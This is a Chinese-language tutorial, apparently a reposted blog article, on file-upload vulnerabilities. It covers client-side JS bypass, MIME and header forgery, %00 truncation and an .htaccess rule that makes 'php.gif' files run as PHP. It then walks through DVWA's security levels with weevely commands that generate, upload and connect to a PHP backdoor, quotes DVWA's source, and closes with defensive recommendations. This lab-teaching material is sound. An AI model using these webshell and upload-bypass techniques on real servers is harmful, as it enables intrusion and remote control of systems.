web 渗透 --- 文件上传漏洞

目录

1、文件上传漏洞利用分析:

上传规律分析

上传验证方式

2、上传漏洞技术:

Js本地突破上传

突破攻击手法:

其他验证类型可通过burpsuite修改进行绕过

.htaccess上传相关

3、利用DVWA进行漏洞测试

low级别

medium级别

high级别

 impossible级别

总结:


1、文件上传漏洞利用分析:

  1. 上传规律分析

    1. 客户端和服务端上传文件命名一致
    2. 客户端和服务端上传文件命名不一致(时间日期等随机命名)
  2. 上传验证方式

    1. 本地端js验证
    2. 文件头验证
    3. 文件后缀验证
    4. 文件类型验证
    5. 其他验证

 

2、上传漏洞技术:

filepath修改,filetype修改,%00截断,文件头伪造,.htaccess后门等技术

 

Js本地突破上传

Javascript本地验证过滤上传,如何去判定这类验证?

  1. 根据返回时间
  2. 根据网站源代码

 

脚本语言代码:服务端代码 /= 客户端代码

Html,javascript:服务端代码 == 客户端代码

 

突破攻击手法:

本地浏览器禁用js

代码复制本地创建,修改指向action地址,删除js代码即可

其他验证类型可通过burpsuite修改进行绕过

.htaccess上传相关

使用:

  1. 隐藏后门
  2. 如果存在替换.htaccess的文件权限的话 我们可以尝试书写规则 解析php

利用步骤:
创建一个.htaccess文件:
代码内容:

设置命名带有php.gif的文件将php解析执行
<FilesMatch php.gif”>
SetHandler application/x-httpd-php
</FilesMatch>

 

3、利用DVWA进行漏洞测试

low级别

不进行任何过滤:

  • 使用kali的weevely 生成一个后门程序
weevely generate 123456 /root/Desktop/backdoor.php
  • 上传后门程序
  • 连接后门程序
weevely http://10.0.0.35/dvwa/hackable/uploads/backdoor.php 123456

源代码

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 
?>

medium级别

  • 对文件类型、大小进行验证

  • 源代码

<?php 
if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 
    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 
        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 
?>
  •  使用comparer进行比较

  •  通过修改文件类型,成功上传后门程序

high级别

  • 对文件后缀、文件类型及文件头进行过滤
  • 源代码
  • getimagesize()函数,获取图像信息。需要修改头文件
<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?> 

  •  修改文件头部,文件类型,文件后缀,上传成功

 impossible级别

  • 对上传的文件进行重命名,隐藏了保存路径
  • 源代码
  • <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Where are we going to be writing to?
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
            ( $uploaded_size < 100000 ) &&
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
            if( $uploaded_type == 'image/jpeg' ) {
                $img = imagecreatefromjpeg( $uploaded_tmp );
                imagejpeg( $img, $temp_file, 100);
            }
            else {
                $img = imagecreatefrompng( $uploaded_tmp );
                imagepng( $img, $temp_file, 9);
            }
            imagedestroy( $img );
    
            // Can we move the file to the web root from the temp folder?
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
                // Yes!
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
            }
            else {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
    
            // Delete any temp files
            if( file_exists( $temp_file ) )
                unlink( $temp_file );
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 

    总结:

  1. 校验扩展名是否在范围内
  2. 图像文件的情况下确认其文件头
  3. 针对上传文件大小进行约定
  4. 服务器端校验,重新渲染图片
  5. 上传文件重命名,并且把文件地址隐藏

猜你喜欢

转载自blog.csdn.net/qq389674856/article/details/82664694